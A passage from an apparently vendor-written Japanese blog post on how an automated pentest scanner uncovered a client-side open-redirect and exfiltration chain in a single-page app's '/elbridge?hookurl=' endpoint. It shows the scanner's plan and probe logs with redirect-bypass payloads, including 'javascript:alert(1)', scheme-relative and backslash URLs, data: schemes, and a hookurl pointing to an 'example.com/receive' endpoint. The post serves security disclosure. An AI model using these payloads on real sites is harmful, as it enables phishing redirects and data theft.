type="html">&lt;p&gt;シングルページアプリケーション（SPA）の台頭により、セキュリティロジックが置かれる場所は根本的に変わりました。従来のWebアプリケーションでは、認証、認可、データの検証はサーバーサイドで行われていましたが、SPAでは多くの場合、これらの役割がブラウザーに読み込まれる巨大なJavaScriptバンドルへと押し出されています。このアーキテクチャの変化は、危険な錯覚を生み出します。開発者は、権限のチェック、URLの検証、ナビゲーションの制御といった、一見セキュリティロジックに見えるものをクライアントサイドのコードに実装しますが、ユーザーのブラウザーで実行されるものは本質的に信頼できないということを忘れてしまうのです。&lt;/p&gt;
&lt;p&gt;従来の脆弱性スキャナーは、この現実に対応できるようには作られていません。302リダイレクトやSQLエラーといったサーバーサイドの兆候を探すため、クライアントサイドのやり取りの中にしか存在しない脅威を完全に見逃してしまいます。sessionStorageを経由するデータフロー、コンポーネントの状態管理、そして特定のユーザー操作の後にのみ発動する多段階のエクスプロイトチェーンなどです。&lt;/p&gt;
&lt;p&gt;当社の最新の自動ペンテストのスキャンは、まさにこの種の現代的な脆弱性を明らかにしました。発見されたのはサーバーの設定ミスではなく、従来のツールでは決して見ることのできないクライアントサイドのデータ持ち出しチェーンでした。それはSPAのナビゲーションロジックの中にしか存在せず、セキュリティを装いながら、実際には何の保護も提供していなかったのです。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;課題：単純なパラメーターから多段階のエクスプロイトへ&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;エンジンはまずリスク分析から始めました。SPAのアーキテクチャを分析し、「動的な外部ナビゲーションビルダーにおけるオープンリダイレクトとスキームの悪用」という重大なリスクパターンを特定したのです。従来型のスキャナーであれば、&lt;code&gt;/elbridge?url=...&lt;/code&gt;のようなエンドポイントで&lt;code&gt;Location&lt;/code&gt;ヘッダーをテストし、そこで終わってしまうかもしれません。しかし当社のエンジンは、クライアントサイドのアタックサーフェス全体をマッピングするよう設計されています。&lt;/p&gt;
&lt;p&gt;この分析に基づき、エンジンは詳細な調査計画を自律的に生成しました。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;[&lt;span class="nv"&gt;RISK&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;ASSESSMENT&lt;/span&gt;]&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;Pattern&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;detected&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;Dynamic&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;navigation&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;builders&lt;/span&gt;
&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;Application&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;pattern&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;SPA&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;with&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;client&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;side&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;routing&lt;/span&gt;
&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;Risk&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;category&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;Open&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;redirect&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;via&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;untrusted&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;URL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;parameters&lt;/span&gt;
&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;Potential&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;sinks&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;window&lt;/span&gt;.&lt;span class="nv"&gt;location&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;form&lt;/span&gt;.&lt;span class="nv"&gt;action&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;window&lt;/span&gt;.&lt;span class="nv"&gt;open&lt;/span&gt;
&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;Investigation&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;priority&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;HIGH&lt;/span&gt;

[&lt;span class="nv"&gt;PLAN&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;GENERATED&lt;/span&gt;]&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;Testing&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;strategy&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;created&lt;/span&gt;:
&lt;span class="mi"&gt;1&lt;/span&gt;.&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;Enumerate&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;redirector&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;endpoints&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;elbridge&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;redirect&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;out&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;external&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;etc&lt;/span&gt;.
&lt;span class="mi"&gt;2&lt;/span&gt;.&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;Test&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;parameter&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;acceptance&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;url&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;next&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;target&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;redirect&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;hookurl&lt;/span&gt;
&lt;span class="mi"&gt;3&lt;/span&gt;.&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;Validate&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;scheme&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;handling&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;https&lt;/span&gt;:&lt;span class="o"&gt;//&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;http&lt;/span&gt;:&lt;span class="o"&gt;//&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;javascript&lt;/span&gt;:,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;data&lt;/span&gt;:
&lt;span class="mi"&gt;4&lt;/span&gt;.&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;Analyze&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;client&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;side&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;code&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;navigation&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;sinks&lt;/span&gt;
&lt;span class="mi"&gt;5&lt;/span&gt;.&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;Test&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;normalization&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;bypasses&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;and&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;edge&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;cases&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;脆弱性は、&lt;code&gt;/elbridge&lt;/code&gt;エンドポイントの&lt;code&gt;hookurl&lt;/code&gt;パラメーターにありました。エンジンが最初に発見したのは、サーバーがリダイレクトを発行しておらず、ほぼすべての入力に対して&lt;code&gt;200 OK&lt;/code&gt;を返しているということでした。実際の挙動はクライアントのコードにあり、スキャナーは体系的にエクスプロイトチェーンを組み立てていきました。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;フェーズ1：インテリジェントなプロービングとフィルターの発見&lt;/strong&gt;
スキャナーはまず、狙いを定めたプローブによって境界の防御を把握することから始め、適切な許可リストではなく、部分的なブラックリストが使われていることを明らかにしました。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;プローブの結果：&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;SCANNER&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Testing&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;elbridge&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;parameter&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;acceptance&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;

&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;PROBE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#1: Basic external HTTPS]&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;GET&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;elbridge&lt;/span&gt;&lt;span class="err"&gt;?&lt;/span&gt;&lt;span class="n"&gt;version&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;1.0&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;country&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;DEU&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;language&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;DEU&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;hookurl&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;https&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;example&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;receive&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;1.1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;OK&lt;/span&gt;
&lt;span class="n"&gt;Content&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;Type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;html&lt;/span&gt;
&lt;span class="n"&gt;Strict&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;Transport&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;Security&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;max&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;age&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;31536000&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;includeSubDomains&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;preload&lt;/span&gt;
&lt;span class="n"&gt;X&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;Frame&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;Options&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SAMEORIGIN&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;STATUS&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Accepted&lt;/span&gt;

&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;PROBE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#2: javascript: scheme]&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;GET&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;elbridge&lt;/span&gt;&lt;span class="err"&gt;?&lt;/span&gt;&lt;span class="o"&gt;...&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;hookurl&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;javascript&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;1.1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;403&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Forbidden&lt;/span&gt;
&lt;span class="n"&gt;Server&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;AkamaiGHost&lt;/span&gt;
&lt;span class="n"&gt;Cache&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;Control&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;no&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;cache&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;no&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;store&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;must&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;revalidate&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;STATUS&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Blocked&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;by&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;edge&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Akamai&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;PROBE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#3: Scheme-relative URL]&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;GET&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;elbridge&lt;/span&gt;&lt;span class="err"&gt;?&lt;/span&gt;&lt;span class="o"&gt;...&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;hookurl&lt;/span&gt;&lt;span class="o"&gt;=//&lt;/span&gt;&lt;span class="n"&gt;example&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;1.1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;OK&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;STATUS&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Accepted&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Risk&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Amplifier&lt;/span&gt;

&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;PROBE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#4: HTTP scheme (downgrade)]&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;GET&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;elbridge&lt;/span&gt;&lt;span class="err"&gt;?&lt;/span&gt;&lt;span class="o"&gt;...&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;hookurl&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;example&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;1.1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;OK&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;STATUS&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Accepted&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Protocol&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Downgrade&lt;/span&gt;

&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;ADDITIONAL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ACCEPTED&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SCHEMES&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
&lt;span class="err"&gt;&amp;bull;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;about&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;blank&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;rarr;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;OK&lt;/span&gt;
&lt;span class="err"&gt;&amp;bull;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mailto&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="n"&gt;example&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;rarr;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;OK&lt;/span&gt;
&lt;span class="err"&gt;&amp;bull;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;plain&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;hello&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;rarr;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;OK&lt;/span&gt;
&lt;span class="err"&gt;&amp;bull;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;https&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;REDACTED&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;example&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;rarr;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;OK&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Subdomain&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;confusion&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="err"&gt;&amp;bull;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;\\&lt;span class="n"&gt;example&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;rarr;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;OK&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Backslash&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;variant&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;ENGINE&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;ANALYSIS&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Perimeter&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;defense&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;is&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;inconsistent&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Blocks&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="err"&gt;&amp;bull;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;javascript&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ow"&gt;and&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;encoded&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;mixed&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;variants&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="err"&gt;&amp;bull;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;html&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="n"&gt;base64&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;HTML&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;payloads&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
